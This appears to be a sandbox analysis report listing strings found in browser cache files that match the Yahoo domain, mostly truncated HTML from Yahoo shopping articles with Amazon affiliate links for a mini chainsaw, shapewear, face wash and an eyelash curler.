href=https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL1Nha2VyLUNoYWluc2F3LVBvcnRhYmxlLUNvdXJ0eWFyZC0yMFZCYXR0ZXJpZXMvZHAvQjA5NDdYTFdGVz90YWc9eWxlMDEtcC1vLWhwbC0yMCIsImNvbnRlbnRVdWlkIjoiN2M5MzU0M2EtY2U5ZC00ZDYyLWI2YzUtYTRhY2JhYTUxYmQ3In0&signature=AQAAAX8fWmKqHNwmBtCc2H5ZX3yqie2WvkyATr0Vy2DLMyQ4&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FSaker-Chainsaw-Portable-Courtyard-20VBatteries%2Fdp%2FB0947XLWFW data-ylk><img class=\"caas-img caas-lazy\" alt=\"Saker mini chain saw\" data-src=https://s.yimg.com/ny/api/res/1.2/B9sV35UbbSSIGv1KQGDcZg--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0MztjZj13ZWJw/https://s.yimg.com/os/creatr-uploaded-images/2024-01/bedd8160-ab13-11ee-bbab-76c907c64d8d><noscript><img alt=\"Saker mini chain saw\" src=https://s.yimg.com/ny/api/res/1.2/B9sV35UbbSSIGv1KQGDcZg--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0MztjZj13ZWJw/https://s.yimg.com/os/creatr-uploaded-images/2024-01/bedd8160-ab13-11ee-bbab-76c907c64d8d class=caas-img></noscript></a></div></div></div><div class=\"caption-wrapper caption-aligned-with-image\"><figcaption class=caption-collapse>Axe yourself: Wouldn't it be nice to branch out to a new world of (literally) handy power tools with this chain saw? (Amazon)<span class=caption-credit> (Amazon)</span></figcaption></div></figure><h2 class=caas-jump-link-heading id=what-reviewers-say- equals www.yahoo.com (Yahoo)
Source: chromecache_365.3.dr, chromecache_545.3.dr	String found in binary or memory: </h2><p>It's not just Reese! Over 8,000 Amazon shoppers have collectively given the <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:4;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL0NFVEFQSElMLUh5ZHJhdGluZy1TZW5zaXRpdmUtRnJhZ3JhbmNlLU5vbi1Gb2FtaW5nL2RwL0IwOTlOM05NNjEvP3RhZz15bGUwMS1wLW8taDd5LTIwIiwiY29udGVudFV1aWQiOiI0NGZhMTljNC0yMTZhLTRiNWUtOTQxZi1lNzQ1YTZiYjgyYjEifQ&signature=AQAAAakPxREW0OX5u9FwRkCoXYUrf7ShaMqsv4Qvx_QxF5Xj&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FCETAPHIL-Hydrating-Sensitive-Fragrance-Non-Foaming%2Fdp%2FB099N3NM61%2F\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:Cetaphil Face Wash;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:4;pos:1;itc:0;sec:content-canvas\">Cetaphil Face Wash</a> a glowing five-star rating.</p><h3 class=caas-jump-link-heading id=pros- equals www.yahoo.com (Yahoo)
Source: chromecache_365.3.dr, chromecache_545.3.dr	String found in binary or memory: </h2><p>Right now, the popular <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:2;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2RwL0IwODFZR0RIUUMvP3RhZz15bGUwMS1wLW8taDEwLTIwIiwiY29udGVudFV1aWQiOiIyYzE2M2JmZS0wNDc5LTQ5ODYtYTYyYy0zZjEzMzc3NjZmYWYifQ&signature=AQAAAbdPw9ycHFzIRljKQnY2oFWYXEgPf_VyghY4oNMGhEtA&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fdp%2FB081YGDHQC%2F\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:lacy blouse;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:2;pos:1;itc:0;sec:content-canvas\">lacy blouse</a> is on sale for as low as $15 at Amazon (prices vary between colors and sizes). With a deal this low, you can pick up a whole <em>boatload</em> of blouses.</p><h2 class=caas-jump-link-heading id=why-do-i-need-this- equals www.yahoo.com (Yahoo)
Source: chromecache_365.3.dr, chromecache_545.3.dr	String found in binary or memory: </h3><p><a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:9;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUjE0MkhMN0taRzMwSkEvP3RhZz15bGUwMS1wLW8taDEwLTIwIiwiY29udGVudFV1aWQiOiIyYzE2M2JmZS0wNDc5LTQ5ODYtYTYyYy0zZjEzMzc3NjZmYWYifQ&signature=AQAAAVWtJtNLoBfNB_SGq-N8MR9gVOwupOptsVgmEGDzEAm3&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fcustomer-reviews%2FR142HL7KZG30JA%2F\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:This fashionista;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:9;pos:1;itc:0;sec:content-canvas\"> This fashionista</a> felt it was a little tight in the bosom area. \"I equals www.yahoo.com (Yahoo)
Source: chromecache_545.3.dr	String found in binary or memory: </h3><p>Some reviewers do not like the new pump design, which can also get broken en route. \"Get rid of the terrible pump\" <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:9;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUjJHQjdJTVo0SFpQREEvcmVmPWNtX2NyX2dldHJfZF9ydndfdHRsP3RhZz15bGUwMS1wLW8taDd5LTIwIiwiY29udGVudFV1aWQiOiI0NGZhMTljNC0yMTZhLTRiNWUtOTQxZi1lNzQ1YTZiYjgyYjEifQ&signature=AQAAAU0fjmLdX_fje3Sb8yjNLzc4W8QfKz62zSXRTDks9Uib&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fcustomer-reviews%2FR2GB7IMZ4HZPDA%2Fref%3Dcm_cr_getr_d_rvw_ttl\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:said one;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:9;pos:1;itc:0;sec:content-canvas\">said one</a>.</p><p>\"Product is excellent,\" <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:10;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUkJNU1U2MFgzTlE4Ri9yZWY9Y21fY3JfZ2V0cl9kX3J2d190dGw_dGFnPXlsZTAxLXAtby1oN3ktMjAiLCJjb250ZW50VXVpZCI6IjQ0ZmExOWM0LTIxNmEtNGI1ZS05NDFmLWU3NDVhNmJiODJiMSJ9&signature=AQAAAbBSHZmuKEfXCxdoeypVvXGScOVeJx_evfQMm8ASMUYi&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fcustomer-reviews%2FRBMSU60X3NQ8F%2Fref%3Dcm_cr_getr_d_rvw_ttl\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:said another;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:10;pos:1;itc:0;sec:content-canvas\">said another</a>. \"But the container has one of those squirt tops that you are supposed to twist to open. Doesn equals www.yahoo.com (Yahoo)
Source: chromecache_545.3.dr	String found in binary or memory: </h3><p>\"I purchased this to wear underneath a form-fitting dress,\" shared <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:6;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUjJMOVk1R0VWTEw2RDg_dGFnPXlsZTAxLXAtdi0zc2MtMjAiLCJjb250ZW50VXVpZCI6IjNmYzUwMmE1LTM2MDYtNGVhYS1hOTY0LWRhNGQ2ZmVhNmNiMCJ9&signature=AQAAAZAB2VSxRQakdLKD5r5ixcE7L9C9LDWJ9mFZJxIRrXDV&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fcustomer-reviews%2FR2L9Y5GEVLL6D8\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:one happy reviewer;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:6;pos:1;itc:0;sec:content-canvas\">one happy reviewer</a>. \"This bodysuit is perfect because it does support the breasts, smooth out back cleavage (lol) and lift the butt. And with all this going on, it feels comfortable and airy. I actually slept in it to control bloating at night.\"</p><p>\"This is far superior to any of my Skims. Sorry not sorry, Kim,\" raved a <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:7;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUjk2SUZYSVhLQ0dWNz90YWc9eWxlMDEtcC12LTNzYy0yMCIsImNvbnRlbnRVdWlkIjoiM2ZjNTAyYTUtMzYwNi00ZWFhLWE5NjQtZGE0ZDZmZWE2Y2IwIn0&signature=AQAAARgapFGE6MybCVRLu6EJ6PG-Z6EdvyTuuFKwsZ4UT3Ff&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fcustomer-reviews%2FR96IFXIXKCGV7\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:five-star fan.;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:7;pos:1;itc:0;sec:content-canvas\">five-star fan.</a> \"Yes, it looks ridiculously tiny straight out of the packaging, but it is shapewear, not clothing. One thing I noticed immediately is how high quality the fabric is. It's so smooth and soft but with great hold and the thigh openings are flat and don't give sausage legs at all. Definitely gives awesome definition to the booty. One thing I noticed was the beautiful hold on the lower back to further make that booty pop. Nice touch!\"</p><p>\"This body shaper is amazing ... it makes you feel your best,\" wrote another <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:8;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjo
Source: chromecache_545.3.dr	String found in binary or memory: </h3><p>\"I'm so glad I didn't spend a bunch of money buying a lot bigger electric saw,\" <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:2;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUjE2Mk9UTEtPMjRVS0YvcmVmPWNtX2NyX2RwX2RfcnZ3X3R0bD90YWc9eWxlMDEtcC1vLWhwbC0yMCIsImNvbnRlbnRVdWlkIjoiN2M5MzU0M2EtY2U5ZC00ZDYyLWI2YzUtYTRhY2JhYTUxYmQ3In0&signature=AQAAAUfwmVJm_2sPhXAWBMoBDqfY1eFTAypeL9SE_daE_C0Q&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fcustomer-reviews%2FR162OTLKO24UKF%2Fref%3Dcm_cr_dp_d_rvw_ttl\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:one reviewer said.;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:2;pos:1;itc:0;sec:content-canvas\">one reviewer said. </a>\"All I really need to do is cut small branches and saplings. This little guy did it with ease. I was really surprised at the power, to be honest with you. ... It cuts through small saplings like a hot knife through butter. I would most definitely recommend this for small jobs.\"</p><p>\"One of my favorite purchases!\" <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:3;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUjJNM1pDUU5WRjBHRi9yZWY9Y21fY3JfYXJwX2RfcnZ3X3R0bD90YWc9eWxlMDEtcC1vLWhwbC0yMCIsImNvbnRlbnRVdWlkIjoiN2M5MzU0M2EtY2U5ZC00ZDYyLWI2YzUtYTRhY2JhYTUxYmQ3In0&signature=AQAAAU2NoPz83Sk8u8xWEsMESvFpyTuq6zKsHac1uP5hwSb6&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fcustomer-reviews%2FR2M3ZCQNVF0GF%2Fref%3Dcm_cr_arp_d_rvw_ttl\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:another fan raved;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:3;pos:1;itc:0;sec:content-canvas\">another fan raved</a>. \"I love to help with yard work and with 3 acres of oak trees, chain saws are a must! But sometimes I just need a little chain saw for the smaller limbs. This fits the bill perfectly! It is so easy to use, and as an almost 50-year-old woman, I like that it's not huge and bulky.\"</p><p>\"My neighbor has a pine tree that constantly rains down seeds in my backyard, causing a LOT of saplings to sprout,\" <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:4;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon
Source: chromecache_365.3.dr	String found in binary or memory: </strong></h2><p>If you're looking for support that makes you feel confident, the <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:4;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL0ZlZWxpbkdpcmwtU2VhbWxlc3MtQm9keXN1aXQtU2hhcGV3ZWFyLUFkanVzdGFibGUvZHAvQjBCMkQ2WjRXUT90YWc9eWxlMDEtcC12LTNzYy0yMCIsImNvbnRlbnRVdWlkIjoiM2ZjNTAyYTUtMzYwNi00ZWFhLWE5NjQtZGE0ZDZmZWE2Y2IwIn0&signature=AQAAATTemRJdVOzUxk_3OXxZl6nECsEdKbc1yUSoZd_D-hky&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FFeelinGirl-Seamless-Bodysuit-Shapewear-Adjustable%2Fdp%2FB0B2D6Z4WQ\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:FeelinGirl Seamless Bodysuit;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:4;pos:1;itc:0;sec:content-canvas\">FeelinGirl Seamless Bodysuit</a> is designed to enhance your curves. It helps tuck in the tummy, slim the thighs and smooth the back with firm but stretchy three-layer compression fabric, while a breathable polyester/spandex blend keeps you cool. It also has adjustable straps so you can customize the fit.</p><p>Lightweight and breathable, it comes in beige (for layering under light-colored fabrics), black, and a variety of skin tones, and is available in sizes up to 6XL.</p><figure class=caas-figure><div class=caas-figure-with-pb style=\"max-height: 540px\"><div><div class=\"caas-img-container caas-img-lightbox caas-img-loader\" style=padding-bottom:56% data-lightbox-src=https://s.yimg.com/ny/api/res/1.2/2e669cjjVR8HH.5gNkYqfA--/YXBwaWQ9aGlnaGxhbmRlcjt3PTI0MDA7aD0xMzUwO2NmPXdlYnA-/https://s.yimg.com/os/creatr-uploaded-images/2023-12/abd6ab50-a70d-11ee-abad-cff9db3a4eaa><a class=\"link rapid-noclick-resp\" href=https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL0ZlZWxpbkdpcmwtU2VhbWxlc3MtQm9keXN1aXQtU2hhcGV3ZWFyLUFkanVzdGFibGUvZHAvQjBCMkQ2WjRXUT90YWc9eWxlMDEtcC12LTNzYy0yMCIsImNvbnRlbnRVdWlkIjoiM2ZjNTAyYTUtMzYwNi00ZWFhLWE5NjQtZGE0ZDZmZWE2Y2IwIn0&signature=AQAAATTemRJdVOzUxk_3OXxZl6nECsEdKbc1yUSoZd_D-hky&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FFeelinGirl-Seamless-Bodysuit-Shapewear-Adjustable%2Fdp%2FB0B2D6Z4WQ data-ylk><img class=\"caas-img caas-lazy\" alt=\"black shapewear, tan shapewear, brown shapewear\" data-src=https://s.yimg.com/ny/api/res/1.2/h7jwmN0pKzHVsCpjwLijlg--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTU0MDtjZj13ZWJw/https://s.yimg.com/os/creatr-uploaded-images/2023-12/abd6ab50-a70d-11ee-abad-cff9db3a4eaa><noscript><img alt=\"black shapewear, tan shapewear, brown shapewear\" src=https://s.yimg.com/ny/api/re
Source: chromecache_545.3.dr	String found in binary or memory: </strong></h2><p>If you're looking for support that makes you feel confident, the <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:4;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL0ZlZWxpbkdpcmwtU2VhbWxlc3MtQm9keXN1aXQtU2hhcGV3ZWFyLUFkanVzdGFibGUvZHAvQjBCMkQ2WjRXUT90YWc9eWxlMDEtcC12LTNzYy0yMCIsImNvbnRlbnRVdWlkIjoiM2ZjNTAyYTUtMzYwNi00ZWFhLWE5NjQtZGE0ZDZmZWE2Y2IwIn0&signature=AQAAATTemRJdVOzUxk_3OXxZl6nECsEdKbc1yUSoZd_D-hky&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FFeelinGirl-Seamless-Bodysuit-Shapewear-Adjustable%2Fdp%2FB0B2D6Z4WQ\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:FeelinGirl Seamless Bodysuit;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:4;pos:1;itc:0;sec:content-canvas\">FeelinGirl Seamless Bodysuit</a> is designed to enhance your curves. It helps tuck in the tummy, slim the thighs and smooth the back with firm but stretchy three-layer compression fabric, while a breathable polyester/spandex blend keeps you cool. It also has adjustable straps so you can customize the fit.</p><p>Lightweight and breathable, it comes in beige (for layering under light-colored fabrics), black, and a variety of skin tones, and is available in sizes up to 6XL.</p><figure class=caas-figure><div class=caas-figure-with-pb style=\"max-height: 540px\"><div><div class=\"caas-img-container caas-img-lightbox caas-img-loader\" style=padding-bottom:56% data-lightbox-src=https://s.yimg.com/ny/api/res/1.2/DDkE5cMbjOoajty3eeX5fg--/YXBwaWQ9aGlnaGxhbmRlcjt3PTI0MDA7aD0xMzUw/https://s.yimg.com/os/creatr-uploaded-images/2023-12/abd6ab50-a70d-11ee-abad-cff9db3a4eaa><a class=\"link rapid-noclick-resp\" href=https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL0ZlZWxpbkdpcmwtU2VhbWxlc3MtQm9keXN1aXQtU2hhcGV3ZWFyLUFkanVzdGFibGUvZHAvQjBCMkQ2WjRXUT90YWc9eWxlMDEtcC12LTNzYy0yMCIsImNvbnRlbnRVdWlkIjoiM2ZjNTAyYTUtMzYwNi00ZWFhLWE5NjQtZGE0ZDZmZWE2Y2IwIn0&signature=AQAAATTemRJdVOzUxk_3OXxZl6nECsEdKbc1yUSoZd_D-hky&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FFeelinGirl-Seamless-Bodysuit-Shapewear-Adjustable%2Fdp%2FB0B2D6Z4WQ data-ylk><img class=\"caas-img caas-lazy\" alt=\"black shapewear, tan shapewear, brown shapewear\" data-src=https://s.yimg.com/ny/api/res/1.2/cAQrGwJ4mcMmSkhnof.e0A--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTU0MA--/https://s.yimg.com/os/creatr-uploaded-images/2023-12/abd6ab50-a70d-11ee-abad-cff9db3a4eaa><noscript><img alt=\"black shapewear, tan shapewear, brown shapewear\" src=https://s.yimg.com/ny/api/res/1.2/cAQrGwJ4mcMmSk
Source: chromecache_365.3.dr, chromecache_545.3.dr	String found in binary or memory: </strong></h2><p>Over 8,000 shoppers rave about how well <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:5;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL0ZlZWxpbkdpcmwtU2VhbWxlc3MtQm9keXN1aXQtU2hhcGV3ZWFyLUFkanVzdGFibGUvZHAvQjBCMkQ2WjRXUT90YWc9eWxlMDEtcC12LTNzYy0yMCIsImNvbnRlbnRVdWlkIjoiM2ZjNTAyYTUtMzYwNi00ZWFhLWE5NjQtZGE0ZDZmZWE2Y2IwIn0&signature=AQAAATTemRJdVOzUxk_3OXxZl6nECsEdKbc1yUSoZd_D-hky&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FFeelinGirl-Seamless-Bodysuit-Shapewear-Adjustable%2Fdp%2FB0B2D6Z4WQ\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:this bodysuit;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:5;pos:1;itc:0;sec:content-canvas\">this bodysuit </a>works to keep lumps and bumps contained while still allowing you to breathe. Some shoppers even say it's better than Kim Kardashian's Skims.</p><h3 class=caas-jump-link-heading id=pros- equals www.yahoo.com (Yahoo)
Source: chromecache_365.3.dr, chromecache_545.3.dr	String found in binary or memory: </strong></h2><p>Shapewear can be pricey. At department stores, you can expect to find a similar bodysuit for up to $150, but <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:2;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL0ZlZWxpbkdpcmwtU2VhbWxlc3MtQm9keXN1aXQtU2hhcGV3ZWFyLUFkanVzdGFibGUvZHAvQjBCMkQ2WjRXUT90YWc9eWxlMDEtcC12LTNzYy0yMCIsImNvbnRlbnRVdWlkIjoiM2ZjNTAyYTUtMzYwNi00ZWFhLWE5NjQtZGE0ZDZmZWE2Y2IwIn0&signature=AQAAATTemRJdVOzUxk_3OXxZl6nECsEdKbc1yUSoZd_D-hky&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FFeelinGirl-Seamless-Bodysuit-Shapewear-Adjustable%2Fdp%2FB0B2D6Z4WQ\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:this one;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:2;pos:1;itc:0;sec:content-canvas\">this one </a>is on sale for as low as $25. We've never seen this shapewear marked down any lower, so we suggest grabbing one now if you're interested. Prices vary depending on your selection, but chances are you won't be spending more than $30 on this svelte shaper.</p><h2 class=caas-jump-link-heading id=why-do-i-need-this><strong>Why do I need this? equals www.yahoo.com (Yahoo)
Source: chromecache_365.3.dr, chromecache_545.3.dr	String found in binary or memory: I like the <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:11;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL1JFVkxPTi1UcmlwbGUtU3RlcHBlZC1DdXJsZXItMy0wOTk3RS0xMS9kcC9CMDgyS1paSExRP3RhZz15bGUwMS1wLW8taDd5LTIwIiwiY29udGVudFV1aWQiOiI0NGZhMTljNC0yMTZhLTRiNWUtOTQxZi1lNzQ1YTZiYjgyYjEifQ&signature=AQAAAR4m16whaYO8QNMCHuQZ_ou3pn1qhYLA1KsPvvZKMAkV&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FREVLON-Triple-Stepped-Curler-3-0997E-11%2Fdp%2FB082KZZHLQ\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:Revlon Eyelash Curler;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:11;pos:1;itc:0;sec:content-canvas\">Revlon Eyelash Curler</a>; it's as good as any eyelash curler I've ever used. equals www.yahoo.com (Yahoo)
